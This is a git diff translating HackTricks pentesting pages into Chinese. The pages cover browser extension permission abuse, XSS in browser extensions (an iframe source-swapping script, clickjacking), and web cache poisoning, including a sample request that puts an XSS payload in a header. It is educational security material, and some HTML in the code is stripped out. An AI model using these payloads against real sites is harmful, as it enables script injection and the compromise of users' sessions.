API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) 持久地存储其数据。与给用户某种控制级别的 cookies 或 `localStorage` API 不同，**扩展存储通常只能通过卸载扩展来清除**。 -An extension will request the permissions indicated in its **`manifest.json`** file and After installing the extension, you can **always check its permissions in your browser**, as shown in this image: +扩展将请求其 **`manifest.json`** 文件中指示的权限。安装扩展后，您可以 **始终在浏览器中检查其权限**，如图所示：
-You can find the [**complete list of permissions a Chromium Browser Extension can request here**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) and a [**complete list for Firefox extensions here**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.** +您可以在这里找到 [**Chromium 浏览器扩展可以请求的完整权限列表**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) 和 [**Firefox 扩展的完整列表在这里**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**。** ### `host_permissions` -The optional but powerful setting **`host_permissions`** indicates with which hosts the extension is going to be able to interact via apis such as [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest), and [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs). - -The following `host_permissions` basically allow every web: +可选但强大的设置 **`host_permissions`** 指示扩展将能够通过 [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies)、[`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest) 和 [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) 等 API 与哪些主机进行交互。 +以下 `host_permissions` 基本上允许每个网站： ```json "host_permissions": [ - "*://*/*" +"*://*/*" ] // Or: "host_permissions": [ - "http://*/*", - "https://*/*" +"http://*/*", +"https://*/*" ] // Or: "host_permissions": [ - "" +"" ] ``` +这些是浏览器扩展可以自由访问的主机。这是因为当浏览器扩展调用 **`fetch("https://gmail.com/")`** 时，它不受 CORS 的限制。 -These are the hosts that the browser extension can access freely. This is because when a browser extension calls **`fetch("https://gmail.com/")`** it's not restricted by CORS. +## 滥用 `permissions` 和 `host_permissions` -## Abusing `permissions` and `host_permissions` +### 标签 -### Tabs - -Moreover, **`host_permissions`** also unlock “advanced” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **functionality.** They allow the extension to call [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) and not only get a **list of user’s browser tabs** back but also learn which **web page (meaning address and title) is loaded**. +此外，**`host_permissions`** 还解锁了“高级” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **功能。** 它们允许扩展调用 [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query)，不仅可以获取 **用户的浏览器标签列表**，还可以了解哪个 **网页（即地址和标题）被加载**。 > [!CAUTION] -> Not only that, listeners like [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **become way more useful as well**. These will be notified whenever a new page loads into a tab. +> 不仅如此，像 [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **这样的监听器也变得更加有用。** 每当新页面加载到标签中时，它们将收到通知。 -### Running content scripts +### 运行内容脚本 -Content scripts aren’t necessarily written statically into the extension manifest. Given sufficient **`host_permissions`**, **extensions can also load them dynamically by calling** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **or** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript). +内容脚本不一定是静态写入扩展清单中的。只要有足够的 **`host_permissions`**，**扩展也可以通过调用** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **或** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) **动态加载它们。** -Both APIs allow executing not merely files contained in the extensions as content scripts but also **arbitrary cod**e. The former allows passing in JavaScript code as a string while the latter expects a JavaScript function which is less prone to injection vulnerabilities. Still, both APIs will wreak havoc if misused. +这两个 API 允许执行不仅仅是包含在扩展中的文件作为内容脚本，还可以执行 **任意代码**。前者允许将 JavaScript 代码作为字符串传入，而后者期望一个 JavaScript 函数，这样更不容易受到注入漏洞的影响。不过，如果滥用这两个 API，都会造成严重后果。 > [!CAUTION] -> In addition to the capabilities above, content scripts could for example **intercept credentials** as these are entered into web pages. Another classic way to abuse them is **injecting advertising** on each an every website. Adding **scam messages** to abuse credibility of news websites is also possible. Finally, they could **manipulate banking** websites to reroute money transfers. +> 除了上述功能外，内容脚本还可以例如 **拦截凭据**，当这些凭据被输入到网页时。滥用它们的另一种经典方式是 **在每个网站上注入广告**。添加 **诈骗信息** 以滥用新闻网站的可信度也是可能的。最后，它们可以 **操纵银行** 网站以重新路由资金转移。 -### Implicit privileges +### 隐式权限 -Some extension privileges **don’t have to be explicitly declared**. One example is the [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): its basic functionality is accessible without any privileges whatsoever. Any extension can be notified when you open and close tabs, it merely won’t know which website these tabs correspond with. +某些扩展权限 **不必明确声明**。一个例子是 [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)：其基本功能在没有任何权限的情况下也可以访问。任何扩展都可以在您打开和关闭标签时收到通知，只是它不会知道这些标签对应哪个网站。 -Sounds too harmless? The [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) is somewhat less so. It can be used to **create a new tab**, essentially the same as [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) which can be called by any website. Yet while `window.open()` is subject to the **pop-up blocker, `tabs.create()` isn’t**. +听起来太无害了？[tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) 就不那么无害了。它可以用来 **创建一个新标签**，本质上与任何网站都可以调用的 [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) 相同。然而，虽然 `window.open()` 受 **弹出窗口拦截器** 的限制，但 `tabs.create()` 不受此限制。 > [!CAUTION] -> An extension can create any number of tabs whenever it wants. +> 扩展可以在任何时候创建任意数量的标签。 -If you look through possible `tabs.create()` parameters, you’ll also notice that its capabilities go way beyond what `window.open()` is allowed to control. And while Firefox doesn’t allow `data:` URIs to be used with this API, Chrome has no such protection. **Use of such URIs on the top level has been** [**banned due to being abused for phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.** +如果您查看可能的 `tabs.create()` 参数，您还会注意到它的功能远远超出了 `window.open()` 被允许控制的范围。虽然 Firefox 不允许在此 API 中使用 `data:` URI，但 Chrome 没有这样的保护。**在顶层使用此类 URI 已被** [**禁止，因为被滥用于网络钓鱼**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**。** -[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) is very similar to `tabs.create()` but will **modify an existing tab**. So a malicious extension can for example arbitrarily load an advertising page into one of your tabs, and it can activate the corresponding tab as well. +[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) 与 `tabs.create()` 非常相似，但会 **修改现有标签**。因此，恶意扩展可以例如任意加载一个广告页面到您的一个标签中，并且它可以激活相应的标签。 -### Webcam, geolocation and friends +### 网络摄像头、地理位置等 -You probably know that websites can request special permissions, e.g. in order to access your webcam (video conferencing tools) or geographical location (maps). It’s features with considerable potential for abuse, so users each time have to confirm that they still want this. +您可能知道，网站可以请求特殊权限，例如访问您的网络摄像头（视频会议工具）或地理位置（地图）。这是具有相当滥用潜力的功能，因此用户每次都必须确认他们仍然希望这样做。 > [!CAUTION] -> Not so with browser extensions. **If a browser extension** [**wants access to your webcam or microphone**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, it only needs to ask for permission once** +> 浏览器扩展则不是。**如果浏览器扩展** [**想要访问您的网络摄像头或麦克风**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**，它只需请求一次权限** -Typically, an extension will do so immediately after being installed. Once this prompt is accepted, **webcam access is possible at any time**, even if the user isn’t interacting with the extension at this point. Yes, a user will only accept this prompt if the extension really needs webcam access. But after that they have to trust the extension not to record anything secretly. +通常，扩展会在安装后立即这样做。一旦接受了此提示，**网络摄像头访问在任何时候都是可能的**，即使用户此时没有与扩展交互。是的，用户只有在扩展确实需要网络摄像头访问时才会接受此提示。但在那之后，他们必须信任扩展不会秘密录制任何内容。 -With access to [your exact geographical location](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) or [contents of your clipboard](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), granting permission explicitly is unnecessary altogether. **An extension simply adds `geolocation` or `clipboard` to the** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **of its manifest**. These access privileges are then granted implicitly when the extension is installed. So a malicious or compromised extension with these privileges can create your movement profile or monitor your clipboard for copied passwords without you noticing anything. +通过访问 [您的确切地理位置](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) 或 [剪贴板内容](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API)，显式授予权限根本不必要。**扩展只需将 `geolocation` 或 `clipboard` 添加到其** [**权限条目**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **中。** 这些访问权限在扩展安装时隐式授予。因此，具有这些权限的恶意或被攻陷的扩展可以在您未注意到的情况下创建您的移动档案或监控您剪贴板中复制的密码。 -Adding the **`history`** keyword to the [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) of the extension manifest grants **access to the** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). It allows retrieving the user’s entire browsing history all at once, without waiting for the user to visit these websites again. +将 **`history`** 关键字添加到扩展清单的 [权限条目](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) 中授予 **访问** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history) 的权限。它允许一次性检索用户的整个浏览历史，而无需等待用户再次访问这些网站。 -The **`bookmarks`** **permission** has similar abuse potential, this one allows **reading out all bookmarks via the** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks). +**`bookmarks`** **权限** 具有类似的滥用潜力，它允许 **通过** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) **读取所有书签。** -### Storage permission +### 存储权限 -The extension storage is merely a key-value collection, very similar to [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) that any website could use. So no sensitive information should be stored here. +扩展存储仅仅是一个键值集合，非常类似于任何网站都可以使用的 [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage)。因此，不应在此处存储敏感信息。 -However, advertising companies could also abuse this storage. +然而，广告公司也可能滥用此存储。 -### More permissions +### 更多权限 -You can find the [**complete list of permissions a Chromium Browser Extension can request here**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) and a [**complete list for Firefox extensions here**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.** +您可以在 [**这里找到 Chromium 浏览器扩展可以请求的完整权限列表**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions)，以及 [**Firefox 扩展的完整列表在这里**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**。** -## Prevention +## 预防 -The policy of Google's developer explicitly forbids extensions from requesting more privileges than necessary for their functionality, effectively mitigating excessive permission requests. An instance where a browser extension overstepped this boundary involved its distribution with the browser itself rather than through an add-on store. +谷歌开发者的政策明确禁止扩展请求超出其功能所需的权限，从而有效减轻过度权限请求的情况。一个浏览器扩展超越这一界限的实例涉及其与浏览器本身一起分发，而不是通过附加组件商店。 -Browsers could further curb the misuse of extension privileges. For instance, Chrome's [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) and [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs, used for screen recording, are designed to minimize abuse. The tabCapture API can only be activated through direct user interaction, such as clicking on the extension icon, while desktopCapture requires user confirmation for the window to be recorded, preventing clandestine recording activities. +浏览器还可以进一步遏制扩展权限的滥用。例如，Chrome 的 [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) 和 [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API，用于屏幕录制，旨在最小化滥用。tabCapture API 只能通过直接用户交互激活，例如点击扩展图标，而 desktopCapture 需要用户确认要录制的窗口，从而防止秘密录制活动。 -However, tightening security measures often results in decreased flexibility and user-friendliness of extensions. The [activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) illustrates this trade-off. It was introduced to eliminate the need for extensions to request host privileges across the entire internet, allowing extensions to access only the current tab upon explicit activation by the user. This model is effective for extensions requiring user-initiated actions but falls short for those requiring automatic or pre-emptive actions, thereby compromising convenience and immediate responsiveness. +然而，收紧安全措施往往会导致扩展的灵活性和用户友好性降低。[activeTab 权限](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) 说明了这种权衡。它的引入消除了扩展请求整个互联网的主机权限的需要，允许扩展在用户明确激活时仅访问当前标签。该模型对于需要用户主动操作的扩展有效，但对于需要自动或预先操作的扩展则显得不足，从而妨碍了便利性和即时响应。 -## **References** +## **参考文献** - [https://palant.info/2022/08/17/impact-of-extension-privileges/](https://palant.info/2022/08/17/impact-of-extension-privileges/) - [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing) {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md index 8ac44003f..865223402 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md @@ -1,114 +1,100 @@ -# BrowExt - XSS Example +# BrowExt - XSS 示例 {{#include ../../banners/hacktricks-training.md}} -## Cross-Site Scripting (XSS) through Iframe - -In this setup, a **content script** is implemented to instantiate an Iframe, incorporating a URL with query parameters as the source of the Iframe: +## 通过 Iframe 的跨站脚本攻击 (XSS) +在此设置中，实施了一个 **内容脚本** 来实例化一个 Iframe，将带有查询参数的 URL 作为 Iframe 的源： ```javascript chrome.storage.local.get("message", (result) => { - let constructedURL = - chrome.runtime.getURL("message.html") + - "?content=" + - encodeURIComponent(result.message) + - "&redirect=https://example.net/details" - frame.src = constructedURL +let constructedURL = +chrome.runtime.getURL("message.html") + +"?content=" + +encodeURIComponent(result.message) + +"&redirect=https://example.net/details" +frame.src = constructedURL }) ``` - -A publicly accessible HTML page, **`message.html`**, is designed to dynamically add content to the document body based on the parameters in the URL: - +一个公开可访问的 HTML 页面，**`message.html`**，旨在根据 URL 中的参数动态添加内容到文档主体： ```javascript $(document).ready(() => { - let urlParams = new URLSearchParams(window.location.search) - let userContent = urlParams.get("content") - $(document.body).html( - `${userContent} ` - ) - $("#detailBtn").on("click", () => { - let destinationURL = urlParams.get("redirect") - chrome.tabs.create({ url: destinationURL }) - }) +let urlParams = new URLSearchParams(window.location.search) +let userContent = urlParams.get("content") +$(document.body).html( +`${userContent} ` +) +$("#detailBtn").on("click", () => { +let destinationURL = urlParams.get("redirect") +chrome.tabs.create({ url: destinationURL }) +}) }) ``` - -A malicious script is executed on an adversary's page, modifying the `content` parameter of the Iframe's source to introduce a **XSS payload**. This is achieved by updating the Iframe's source to include a harmful script: - +在对手的页面上执行恶意脚本，修改 Iframe 源的 `content` 参数以引入 **XSS payload**。通过更新 Iframe 的源以包含有害脚本来实现这一点： ```javascript setTimeout(() => { - let targetFrame = document.querySelector("iframe").src - let baseURL = targetFrame.split("?")[0] - let xssPayload = "" - let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}` +let targetFrame = document.querySelector("iframe").src +let baseURL = targetFrame.split("?")[0] +let xssPayload = "" +let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}` - document.querySelector("iframe").src = maliciousURL +document.querySelector("iframe").src = maliciousURL }, 1000) ``` - -An overly permissive Content Security Policy such as: - +过于宽松的内容安全策略，例如： ```json "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';" ``` +允许执行JavaScript，使系统容易受到XSS攻击。 -allows the execution of JavaScript, making the system vulnerable to XSS attacks. - -An alternative approach to provoke the XSS involves creating an Iframe element and setting its source to include the harmful script as the `content` parameter: - +引发XSS的另一种方法是创建一个Iframe元素，并将其源设置为包含有害脚本作为`content`参数： ```javascript let newFrame = document.createElement("iframe") newFrame.src = - "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" + - encodeURIComponent("") +"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" + +encodeURIComponent("") document.body.append(newFrame) ``` - ## DOM-based XSS + ClickJacking -This example was taken from the [original post writeup](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/). - -The core issue arises from a DOM-based Cross-site Scripting (XSS) vulnerability located in **`/html/bookmarks.html`**. The problematic JavaScript, part of **`bookmarks.js`**, is detailed below: +这个例子取自于 [original post writeup](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)。 +核心问题源于位于 **`/html/bookmarks.html`** 的基于DOM的跨站脚本（XSS）漏洞。以下是有问题的JavaScript，属于 **`bookmarks.js`**： ```javascript $("#btAdd").on("click", function () { - var bookmarkName = $("#txtName").val() - if ( - $(".custom-button .label").filter(function () { - return $(this).text() === bookmarkName - }).length - ) - return false +var bookmarkName = $("#txtName").val() +if ( +$(".custom-button .label").filter(function () { +return $(this).text() === bookmarkName +}).length +) +return false - var bookmarkItem = $('
') - bookmarkItem.html('' + bookmarkName + "") - bookmarkItem.append('') - bookmarkItem.attr("data-title", bookmarkName) - bookmarkItem.data("timestamp", new Date().getTime()) - $("section.bookmark-container .existing-items").append(bookmarkItem) - persistData() +var bookmarkItem = $('
') +bookmarkItem.html('' + bookmarkName + "") +bookmarkItem.append('') +bookmarkItem.attr("data-title", bookmarkName) +bookmarkItem.data("timestamp", new Date().getTime()) +$("section.bookmark-container .existing-items").append(bookmarkItem) +persistData() }) ``` +该代码片段从 **`txtName`** 输入字段获取 **值**，并使用 **字符串连接生成 HTML**，然后通过 jQuery 的 `.append()` 函数将其附加到 DOM。 -This snippet fetches the **value** from the **`txtName`** input field and uses **string concatenation to generate HTML**, which is then appended to the DOM using jQuery’s `.append()` function. +通常，Chrome 扩展的内容安全策略 (CSP) 会防止此类漏洞。然而，由于 **CSP 放宽了 ‘unsafe-eval’** 和使用 jQuery 的 DOM 操作方法（这些方法使用 [`globalEval()`](https://api.jquery.com/jquery.globaleval/) 将脚本传递给 [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) 在 DOM 插入时），仍然可以进行利用。 -Typically, the Chrome extension's Content Security Policy (CSP) would prevent such vulnerabilities. However, due to **CSP relaxation with ‘unsafe-eval’** and the use of jQuery’s DOM manipulation methods (which employ [`globalEval()`](https://api.jquery.com/jquery.globaleval/) to pass scripts to [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) upon DOM insertion), exploitation is still possible. - -While this vulnerability is significant, its exploitation is usually contingent on user interaction: visiting the page, entering an XSS payload, and activating the “Add” button. - -To enhance this vulnerability, a secondary **clickjacking** vulnerability is exploited. The Chrome extension's manifest showcases an extensive `web_accessible_resources` policy: +虽然这个漏洞很重要，但其利用通常依赖于用户交互：访问页面、输入 XSS 负载并激活“添加”按钮。 +为了增强这个漏洞，利用了一个次要的 **clickjacking** 漏洞。Chrome 扩展的清单展示了一个广泛的 `web_accessible_resources` 策略： ```json "web_accessible_resources": [ - "html/bookmarks.html", - "dist/*", - "assets/*", - "font/*", - [...] +"html/bookmarks.html", +"dist/*", +"assets/*", +"font/*", +[...] ], ``` - -Notably, the **`/html/bookmarks.html`** page is prone to framing, thus vulnerable to **clickjacking**. This vulnerability is leveraged to frame the page within an attacker’s site, overlaying it with DOM elements to redesign the interface deceptively. This manipulation leads victims to interact with the underlying extension unintentionally. +值得注意的是，**`/html/bookmarks.html`** 页面容易受到框架攻击，因此容易受到 **clickjacking** 的影响。此漏洞被利用，将页面嵌入攻击者的网站中，并用 DOM 元素覆盖，从而欺骗性地重新设计界面。这种操控导致受害者无意中与底层扩展进行交互。 ## References @@ -116,4 +102,3 @@ Notably, the **`/html/bookmarks.html`** page is prone to framing, thus vulnerabl - [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 38d5e764f..aaad6dec8 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -1,150 +1,139 @@ -# Cache Poisoning and Cache Deception +# 缓存中毒和缓存欺骗 {{#include ../../banners/hacktricks-training.md}}
\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) 轻松构建和 **自动化工作流**，由世界上 **最先进** 的社区工具提供支持。\ +立即获取访问权限： {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} -## The difference +## 区别 -> **What is the difference between web cache poisoning and web cache deception?** +> **Web缓存中毒和Web缓存欺骗之间有什么区别？** > -> - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users. -> - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache. +> - 在 **Web缓存中毒** 中，攻击者使应用程序在缓存中存储一些恶意内容，并且这些内容从缓存中提供给其他应用程序用户。 +> - 在 **Web缓存欺骗** 中，攻击者使应用程序在缓存中存储属于另一个用户的一些敏感内容，然后攻击者从缓存中检索这些内容。 -## Cache Poisoning +## 缓存中毒 -Cache poisoning is aimed at manipulating the client-side cache to force clients to load resources that are unexpected, partial, or under the control of an attacker. The extent of the impact is contingent on the popularity of the affected page, as the tainted response is served exclusively to users visiting the page during the period of cache contamination. +缓存中毒旨在操纵客户端缓存，强迫客户端加载意外、部分或在攻击者控制下的资源。影响的程度取决于受影响页面的受欢迎程度，因为被污染的响应仅在缓存污染期间提供给访问该页面的用户。 -The execution of a cache poisoning assault involves several steps: +执行缓存中毒攻击涉及几个步骤： -1. **Identification of Unkeyed Inputs**: These are parameters that, although not required for a request to be cached, can alter the response returned by the server. Identifying these inputs is crucial as they can be exploited to manipulate the cache. -2. **Exploitation of the Unkeyed Inputs**: After identifying the unkeyed inputs, the next step involves figuring out how to misuse these parameters to modify the server's response in a way that benefits the attacker. -3. **Ensuring the Poisoned Response is Cached**: The final step is to ensure that the manipulated response is stored in the cache. This way, any user accessing the affected page while the cache is poisoned will receive the tainted response. +1. **识别未键入的输入**：这些是参数，尽管不是缓存请求所必需的，但可以改变服务器返回的响应。识别这些输入至关重要，因为它们可以被利用来操纵缓存。 +2. **利用未键入的输入**：在识别未键入的输入后，下一步是弄清楚如何滥用这些参数，以修改服务器的响应，从而使攻击者受益。 +3. **确保被污染的响应被缓存**：最后一步是确保被操纵的响应被存储在缓存中。这样，任何在缓存被污染时访问受影响页面的用户将收到被污染的响应。 -### Discovery: Check HTTP headers +### 发现：检查HTTP头 -Usually, when a response was **stored in the cache** there will be a **header indicating so**, you can check which headers you should pay attention to in this post: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). +通常，当响应被 **存储在缓存中** 时，会有一个 **指示的头**，您可以在此帖子中检查您应该关注哪些头：[**HTTP缓存头**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。 -### Discovery: Caching error codes +### 发现：缓存错误代码 -If you are thinking that the response is being stored in a cache, you could try to **send requests with a bad header**, which should be responded to with a **status code 400**. Then try to access the request normally and if the **response is a 400 status code**, you know it's vulnerable (and you could even perform a DoS). +如果您认为响应正在被存储在缓存中，您可以尝试 **发送带有错误头的请求**，这应该会以 **状态代码400** 响应。然后尝试正常访问请求，如果 **响应是400状态代码**，您就知道它是脆弱的（您甚至可以执行DoS）。 -You can find more options in: +您可以在以下位置找到更多选项： {{#ref}} cache-poisoning-to-dos.md {{#endref}} -However, note that **sometimes these kinds of status codes aren't cached** so this test could not be reliable. +但是，请注意 **有时这些状态代码不会被缓存**，因此此测试可能不可靠。 -### Discovery: Identify and evaluate unkeyed inputs - -You could use [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to **brute-force parameters and headers** that may be **changing the response of the page**. For example, a page may be using the header `X-Forwarded-For` to indicate the client to load the script from there: +### 发现：识别和评估未键入的输入 +您可以使用 [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) 来 **暴力破解参数和头**，这些可能会 **改变页面的响应**。例如，一个页面可能使用头 `X-Forwarded-For` 来指示客户端从那里加载脚本： ```markup ``` +### 引发后端服务器的有害响应 -### Elicit a harmful response from the back-end server +在识别出参数/头部后，检查它是如何被**清理**的，以及它**在哪里**被**反映**或影响响应。你能以任何方式滥用它吗（执行XSS或加载你控制的JS代码？执行DoS？...） -With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...) +### 获取响应缓存 -### Get the response cached +一旦你**识别**出可以被滥用的**页面**，使用哪个**参数**/**头部**以及**如何**滥用它，你需要将页面缓存。根据你尝试缓存的资源，这可能需要一些时间，你可能需要尝试几秒钟。 -Once you have **identified** the **page** that can be abused, which **parameter**/**header** to use and **how** to **abuse** it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds. +响应中的头部**`X-Cache`**可能非常有用，因为当请求未被缓存时，它的值可能是**`miss`**，而当它被缓存时，值为**`hit`**。\ +头部**`Cache-Control`**也很有趣，可以知道资源是否被缓存，以及下次资源将何时再次被缓存：`Cache-Control: public, max-age=1800` -The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\ -The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800` +另一个有趣的头部是**`Vary`**。这个头部通常用于**指示额外的头部**，这些头部被视为**缓存键的一部分**，即使它们通常没有键。因此，如果用户知道他所针对的受害者的`User-Agent`，他可以为使用该特定`User-Agent`的用户毒化缓存。 -Another interesting header is **`Vary`**. This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`. +与缓存相关的另一个头部是**`Age`**。它定义了对象在代理缓存中存在的时间（以秒为单位）。 -One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache. +在缓存请求时，要**小心使用的头部**，因为其中一些可能会被**意外使用**为**键**，而**受害者需要使用相同的头部**。始终使用**不同的浏览器测试**缓存中毒是否有效。 -When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working. +## 利用示例 -## Exploiting Examples - -### Easiest example - -A header like `X-Forwarded-For` is being reflected in the response unsanitized.\ -You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed: +### 最简单的示例 +像`X-Forwarded-For`这样的头部在响应中未经过清理地被反映。\ +你可以发送一个基本的XSS有效负载并毒化缓存，这样每个访问该页面的人都会受到XSS攻击： ```markup GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a.">" ``` +_注意，这将使请求变得无效到 `/en?region=uk` 而不是 `/en`_ -_Note that this will poison a request to `/en?region=uk` not to `/en`_ - -### Cache poisoning to DoS +### 缓存中毒导致拒绝服务 {{#ref}} cache-poisoning-to-dos.md {{#endref}} -### Using web cache poisoning to exploit cookie-handling vulnerabilities - -Cookies could also be reflected on the response of 